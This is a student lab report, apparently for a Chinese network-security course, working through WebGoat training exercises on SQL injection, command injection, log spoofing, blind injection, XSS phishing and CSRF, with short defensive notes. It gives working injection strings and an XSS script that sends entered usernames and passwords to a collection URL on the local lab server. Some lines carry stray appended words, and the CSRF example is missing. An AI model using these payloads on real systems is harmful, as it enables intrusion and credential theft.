2018-2019-2 20165212《網絡對抗技術》Exp9 Web安全基礎

2018-2019-2 20165212《網絡對抗技術》Exp9 Web安全基礎

基礎問題回答

  • 1.SQL注入攻擊原理,如何防護?
    • 原理:SQL注入,就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
    • sql注入攻擊是利用是指利用設計上的漏洞,在目標服務器上運行Sql語句以及進行其餘方式的攻擊,動態生成Sql語句時沒有對用戶輸入的數據進行驗證是Sql注入攻擊得逞的主要緣由。如:在用戶名、密碼登輸入框中輸入一些',--,#等特殊字符,實現引號閉合、註釋部分SQL語句,利用永真式實現登陸、顯示信息等目的。
    • 防護:
      • 關閉或刪除沒必要要的交互式提交表單頁面;
      • 對漏洞注入點相關代碼進行關鍵字的過濾(如:利用正則表達式),以規範代碼安全性;
      • 不要在服務器端放置備份的文件以避免受到感染,或備份的文件含有漏洞,形成切入點;
      • 將數據庫裏的內容進行加密處理使其不具備特殊的意義。
  • 2.XSS攻擊的原理,如何防護?
    • 原理:XSS:跨站腳本。攻擊者利用網站漏洞(一般這些漏洞是指網站後臺處理程序沒有很好的對用戶輸入進行過濾),輸入能夠顯示在頁面上的、對其餘用戶形成影響的HTML代碼;因爲受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本(如:html標籤或者javascript代碼)的頁面後,這段惡意腳本能夠順利執行,實現獲取用戶cookie並能夠利用用戶身份進行非法操做的目的。
    • 防護:
      • 用戶角度:提升防範意識,不要輕易輸入我的信息,如用戶名密碼;
      • 網頁製做者角度: 對輸入和URL參數進行過濾;在輸出數據以前對潛在的威脅的字符進行編碼、轉義
  • 3.CSRF攻擊原理,如何防護?javascript

    • 原理:html

      • CSRF就是冒名登陸。跨站請求僞造的核心本質是竊取用戶的Session,或者說Cookie,由於目前主流狀況Session都是存在Cookie中.攻擊者並不關心被害者具體賬號和密碼,由於一旦用戶進行了登陸,Session就是用戶的惟一憑證,只要攻擊者可以獲得Session,就能夠假裝成被害者進入服務器.
    • 防護:java

      • 驗證請求中的Token
      • 驗證 Referer
      • 添加加隨機驗證
      • 設定cookie域

實踐過程記錄

Exp9_2 SQL注入攻擊(Injection Flaws)

1.命令注入(Command Injection)

  • 概念:命令注入攻擊對任何一個以參數驅動的站點來講都是一個嚴重威脅。這種攻擊技術背後的技術方法,簡單易學,能形成大範圍的損害,危及系統安全。儘管這類風險數目使人難以置信,互聯網中的系統很容易受到這種形式的攻擊。
  • 原理:在正常的參數提交過程當中添加惡意代碼以執行某條指令。
  • 目標:能夠在目標主機上執行任何系統命令
  • 操做方法: 右鍵點擊那個長按鈕,選擇inspect Element審查網頁元素對源代碼進行修改,在複選框中任意一欄的代碼,右鍵單擊後,選擇Edit At Html進行修改,添加 "& netstat -an & ipconfig" web

  •  

  •  

2.數字型注入(Numeric SQL Injection)

  • 概念:注入數字型數據(如:永真式)達到注入的效果。
  • 原理:在station字段中注入特徵字符,組合成新的SQL語句。正則表達式

  • 目標:該例子經過注入SQL字符串查看全部的天氣數據。sql

  • 右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,在選中的城市編號Value值中添加 or 1=1 數據庫

  • 顯示全部城市的天氣狀況,攻擊成功!後端

  •  

3.日誌欺騙(Log Spoofing)

  • 概念:經過在日誌文件中插入腳本實現欺騙。
  • 原理:在日誌文件中愚弄人的眼睛,攻擊者能夠利用這種方式清除他們在日誌中的痕跡
  • 目標:灰色區域表明在 Web 服務器的日誌中的記錄的內容,咱們的目的是使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」瀏覽器

  • 前提:本題目接受用戶輸入的任何一個用戶名,並將其追加到日誌文件中。 利用入回車(0D%)和換行符(%0A),在 username 中填入 fenix%0d%0aLogin Succeeded for username: admin 安全

  •  

5.Stage 1: 字符串型注入(Stage 1: String SQL Injection)

  • 原理:經過注入字符串繞過認證

  • 右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,將password密碼框的最大長度限制改成20。

  • 以用戶Neville(admit)登陸,輸入密碼 hello' or '1' = '1  獲得全部人員列表,攻擊成功!

  •  

6.Stage 3: 數字型 SQL 注入(Stage 3: Numeric SQL Injection)

  • 原理:經過注入數字型數據,繞過認證,能夠經過普通員工的帳戶,查看到BOSS的用戶信息。

  • 操做方法:使用用戶名 Larry,密碼 larry 點擊login登陸,點擊ViewProfile查看用戶信息

  • 右鍵點擊頁面,選擇inspect Element審查網頁元素源代碼,咱們能夠看到數據庫索引的依據是員工ID,推測返回的是每次查詢到的第一條數據。

  • 用社會工程學解釋老闆應該是工資最高的,因此將員工ID的value改爲101 or 1=1 order by salary desc,使得老闆的信息做爲查詢到的第一條數據。

  •  

7.SQL 注入(LAB: SQL Injection)

  • 概念:經過注入字符串繞過認證
  • 原理:基於如下查詢語句構造本身的 SQL 注入字符串。 SELECT * FROM userdata WHERE lastname = '?'
  • 目標:下面的表格,容許用戶查看他們的信用卡號碼。嘗試經過 SQL 注入將全部信用卡信息 顯示出來。嘗試的用戶名是「Smith」。 正常狀況下只能查詢到用戶名對應的信用卡號碼
  • 輸入查詢的用戶名 Smith' or 1=1-- (Smith 和1=1都成了查詢的條件,而1=1是恆等式,所以能查詢到表裏面的全部數據)
  •  

8.數據庫後門(Database Backdoors)

  • 原理:數據庫一般做爲一個 Web 應用程序的後端來使用。此外,它也用來做爲存儲的媒介。 它也能夠被用來做爲存儲惡意活動的地方,如觸發器。觸發器是在數據庫管理系統上調用另 一個數據庫操做,如 insert, select, update or delete。舉個例子:攻擊者能夠建立一個觸發器, 該觸發器在建立新用戶時,將每一個新用戶的 Email 地址設置爲攻擊者的地址。
  • 目標:利用查詢的脆弱性建立觸發器。因爲 WebGoat 使用的是 MySQL 數據庫,不支持觸發器,因此該課程不會真正完成。 咱們的 Login ID 是 101。

  • 輸入101,獲得該用戶的信息。咱們能夠看到,輸入的語句沒有驗證,很容易進行 SQL 注入

  • 輸入注入語句 101; update employee set salary=18000 執行兩個語句

  •  

  •  

9.數字型盲注入和字符串盲型注入

  • 原理:某些 SQL 注入是沒有明確返回信息的,只能經過條件的「真」和「假」進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語。 目標:該題目容許輸入一個賬號,並檢測該賬號是否合法。使用該表單的返回信息(真或假)測試檢查數據庫中其它條目信息。咱們找到 pins 表中 cc_number 字段值爲 1111222233334444 的記錄中 pin 字段的數值。pin 字段類型爲 int,整型。輸入找到的數值並提交,經過該題目。
  • 本題目中,服務端頁面返回的信息只有兩種:賬號有效或無效。所以沒法簡單地查詢到賬號的PIN數值。但咱們能夠利用系統後臺在用的查詢語句 SELECT * FROM user_data WHERE userid=accountNumber ; 若是該查詢語句返回了賬號的信息,頁面將提示賬號有效,不然提示無效。使用 AND 函數,咱們能夠添加一些額外的查詢條件。若是該查詢條件一樣爲真,則返回結果應提示賬 號有效,不然無效。

  • 針對查詢語句的後半部分構造複雜語句,如: 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 ) ;若是提示無效,則pin值小於5000,使用二分法,最終得出pin的值爲2364

  • 因爲這兩種注入攻擊方式都創建在大量嘗試基礎上,所以我直接拿測好的數據進行注入
  •  

10.XSS 釣魚(Phishing with XSS)

  • 原理:當用戶輸入非法HTTP響應時容易受到XSS攻擊。在XSS的幫助下,能夠實現釣魚工具或向某些官方頁面中增長內容。對於受害者來講很難發現該內容是否存在威脅。
  • 目標:建立一個 form,要求填寫用戶名和密碼。將數據提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
  • 步驟:
  • 利用XSS能夠在已存在的頁面中進一步添加元素,包括兩部分:
    • 受害人填寫一個表格;
    • 服務器以讀取腳本的形式,將收集到的信息發送給攻擊者。
  • 編寫一段腳本讀取被攻擊者在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的 WebGoat
  • 編寫一個帶用戶名和密碼輸入框的表格
  • </form>
    <script>
        function hack(){ 
            XSSImage=new Image;
            XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
            alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
        } 
    </script>
    <form name="phish">
    <br>
    <br>
    //表格
    <HR>
        <H2>This feature requires account login:</H2>
    <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
        <br>Enter Password:<br>
        <input type="password" name = "pass">
    <br>
        <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>

     

  •  

11.CSRF攻擊(Cross Site Request Forgery)

  • 原理:跨站請求僞造是一種讓受害者加載一個包含網頁的圖片的一種攻擊手段。以下代碼所示:
  • 當受害者的瀏覽器試圖打開這個頁面時,它會使用指定的參數向 www.mybank.com 的transferFunds.do 頁面發送請求。瀏覽器認爲將會獲得一個圖片,但其實是一種資金轉移功能。
  • 在Message框中輸入,這樣就轉走了10000~~~(咳咳)
  •  

實驗總結與體會

本次試驗在webgoat平臺上,一個專門教新手金雪web攻擊的平臺,雖然可能只是一些膚淺易懂且目前實用性不高的漏洞,但最主要的東西是去學習每一個攻擊手段的原理,在動手的過程當中思考。

相關文章
相關標籤/搜索